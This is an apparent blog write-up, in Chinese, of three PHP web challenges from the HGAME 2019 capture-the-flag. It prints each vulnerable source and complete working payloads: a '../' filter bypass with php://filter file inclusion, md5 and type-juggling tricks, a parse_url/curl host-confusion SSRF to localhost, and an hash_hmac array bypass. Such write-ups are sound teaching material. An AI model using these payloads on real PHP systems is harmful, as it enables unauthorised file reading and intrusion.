HGAME2019-Week 2
title: HGAME2019-Week 2
date: 2019-02-09 20:31:16
tags: [Writeup,ctf]
categories: hgame
Week-2 web
easy_php
描述 代码审计♂第二弹
URL http://118.24.25.25:9999/easyphp/index.html
访问连接发现什么都没有,然后在robots.txt下找到一个路径,访问后是源码
<?php
error_reporting(0);
$img = $_GET['img'];
if(!isset($img))
$img = '1';
$img = str_replace('../', '', $img);
include_once($img.".php");
highlight_file(__FILE__);
函数str_replace()把参数img中的../
替换为空,且只替换了一次,我们可以用.../...//
来绕过。传过来的参数作为文件名,包含固定后缀.php
的文件,利用php伪协议读取base64加密后的flag。
?img=php://filter/read=convert.base64-encode/resource=.../...//flag
然后base64解密,拿到flaghgame{You_4re_So_g0od}
php trick
描述 some php tricks
URL http://118.24.3.214:3001
访问链接后源码如下
<?php
//admin.php
highlight_file(__FILE__);
$str1 = (string)@$_GET['str1'];
$str2 = (string)@$_GET['str2'];
$str3 = @$_GET['str3'];
$str4 = @$_GET['str4'];
$str5 = @$_GET['H_game'];
$url = @$_GET['url'];
if( $str1 == $str2 ){
die('step 1 fail');
}
if( md5($str1) != md5($str2) ){
die('step 2 fail');
}
if( $str3 == $str4 ){
die('step 3 fail');
}
if ( md5($str3) !== md5($str4)){
die('step 4 fail');
}
if (strpos($_SERVER['QUERY_STRING'], "H_game") !==false) {
die('step 5 fail');
}
if(is_numeric($str5)){
die('step 6 fail');
}
if ($str5<9999999999){
die('step 7 fail');
}
if ((string)$str5>0){
die('step 8 fial');
}
if (parse_url($url, PHP_URL_HOST) !== "www.baidu.com"){
die('step 9 fail');
}
if (parse_url($url,PHP_URL_SCHEME) !== "http"){
die('step 10 fail');
}
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
$output = curl_exec($ch);
curl_close($ch);
if($output === FALSE){
die('step 11 fail');
}
else{
echo $output;
}
分析源代码,共传过去6个参数。参数str1和str2为字符串,在满足两个字符串不同的同时他们的MD5值要相同。由于PHP弱类型,在比较哈希字符串时利用!=
或==
时,每一个以0E
开头的哈希值,PHP会认为他们相同,都是0。str1=aabg7XSs
str2=aabC9RqS
这样我们就绕过step 1和2。
if( $str1 == $str2 ){
die('step 1 fail');
}
if( md5($str1) != md5($str2) ){
die('step 2 fail');
}
参数str3和str4没有要求为字符串,两个参数不同但是MD5要相同,与str1和str2不同的时str3和str4在比较哈希值时不存在弱类型比较,这里是!==
。这里我们可以传数组str3[]=0
str4[]=1
绕过,原因是在判断两个数组时两个数组确实是不同的,但是md5()函数是不能处理数组的,md5(数组)会返回null,这样两个的md5就相同了。
if( $str3 == $str4 ){
die('step 3 fail');
}
if ( md5($str3) !== md5($str4)){
die('step 4 fail');
}
第五个获取的参数是H_game
,但是这里却要求参数名不能有H_game
,str5不能是数字且要求str5的值大于等于9999999999,而且str5强制类型转换为字符串后要小于等于0。这里我们可以用+
或.
来绕过,php自身在解析请求时+
和.
会被解析成_
,所以H+game
即H_game
,绕过step 5。不能是数字,而且要大于9999999999我们可以用数组来绕过,数组永远比数字大,H+game[]=1
绕过。
if (strpos($_SERVER['QUERY_STRING'], "H_game") !==false) {
die('step 5 fail');
}
if(is_numeric($str5)){
die('step 6 fail');
}
if ($str5<9999999999){
die('step 7 fail');
}
if ((string)$str5>0){
die('step 8 fial');
}
第六个参数url,要求parse_url()解析url主机为www.baidu.com
,协议是http
,即URL中最后一个@符号后面的为host。然后curl打开一个网页。curl解析的hos是第一个@符合后面的。
if (parse_url($url, PHP_URL_HOST) !== "www.baidu.com"){
die('step 9 fail');
}
if (parse_url($url,PHP_URL_SCHEME) !== "http"){
die('step 10 fail');
}
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
$output = curl_exec($ch);
curl_close($ch);
if($output === FALSE){
die('step 11 fail');
}
else{
echo $output;
}
源码的注释中有admin.php
,尝试payload为?str1=aabg7XSs&str2=aabC9RqS&str3[]=0&str4[]=1&H+game[]=1&url=http://@127.0.0.1:80@www.baidu.com/admin.php
得到admin.php的代码。
<?php
//flag.php
if($_SERVER['REMOTE_ADDR'] != '127.0.0.1') {
die('only localhost can see it');
}
$filename = $_GET['filename']??'';
if (file_exists($filename)) {
echo "sorry,you can't see it";
}
else{
echo file_get_contents($filename);
}
highlight_file(__FILE__);
?>
admin.php的文件需要我们传过去一个filename参数,file_exists()函数会检查文件是否存在,如果存在则返回sorry,you can't see it不让查看,否则file_get_contents() 函数把整个文件读入一个字符串中。如果我们?filename=flag.php
会不能查看,但是我们可以?filename=./[anything]/../flag.php
,这样文件存在,但函数file_exists()不显示它,就可以file_get_contents() 函数把flag.php文件读入一个字符串中。最终payload为?str1=aabg7XSs&str2=aabC9RqS&str3[]=0&str4[]=1&H+game[]=1&url=http://@127.0.0.1:80@www.baidu.com/admin.php?filename=./a/../flag.php
,查看源码拿到flaghgame{ThEr4_Ar4_s0m4_Php_Tr1cks}
。
也可以用php伪协议读取flag.php,payload为``?str1=aabg7XSs&str2=aabC9RqS&str3[]=0&str4[]=1&H+game[]=1&url=http://@127.0.0.1:80@www.baidu.com/admin.php?filename=php://filter/read=convert.base64-encode/resource=flag.php`读取base64加密后的flag.php,然后再解密拿到flag。
PHP Is The Best Language
描述 var_dump了解一下
URL http://118.25.89.91:8888/flag.php
源码如下
<?php
include 'secret.php';
#echo $flag;
#echo $secret;
if (empty($_POST['gate']) || empty($_POST['key'])) {
highlight_file(__FILE__);
exit;
}
if (isset($_POST['door'])){
$secret = hash_hmac('sha256', $_POST['door'], $secret);
}
$gate = hash_hmac('sha256', $_POST['key'], $secret);
if ($gate !== $_POST['gate']) {
echo "Hacker GetOut!!";
exit;
}
if ((md5($_POST['key'])+1) == (md5(md5($_POST['key'])))+1) {
echo "Wow!!!";
echo "</br>";
echo $flag;
}
else {
echo "Hacker GetOut!!";
}
?>
分析源代码,empty()函数检查变量是否为空,只要gate和key有一个为空则退出,要求gate与key必须不为空。如果door存在,获取的door作为要进行哈希运算的消息,$secret
为密钥,这里我们不知道secret的值。加密之后的secret作为密钥去加密传入的key,得到key加密后的$gate
。这里加密得到的$gate
与我们传人的gate
比较,要求传入的gate
和加密得到的$gate
的值相等。
这里我们让secret生成为固定值。hash_hmac()函数的data参数不能为数组,如果hash_hmac函数参数错误,则会返回false,这样我们传进去door为数组,那么$secret就为固定值了。
我们再看key需要符合这样的要求,(md5($_POST['key'])+1) == (md5(md5($_POST['key'])))+1
我们可以爆破得到key。
<?php
for ($key = 1 ;$key<1000000;$key++){
if ((md5($key)+1) == (md5(md5($key)))+1) {
echo $key;
$gate = hash_hmac('sha256', $key, false);
var_dump($gate);
break;
}
}
?>
得到key为12,gate为4217722a8aee69d5ed50f3e5ed1cceb1feb79784baaaa6bbf53515ce0eb4daaf。
最终payload为gate=4217722a8aee69d5ed50f3e5ed1cceb1feb79784baaaa6bbf53515ce0eb4daaf&key=12&door[]=
最后拿到flag为hgame{Php_MayBe_Not_Safe}
也可直接找双MD5碰撞,即0e开头的MD5值其md5结果也是0e开头。CTF中if (md5(md5(_GET[‘b’])) 的绕过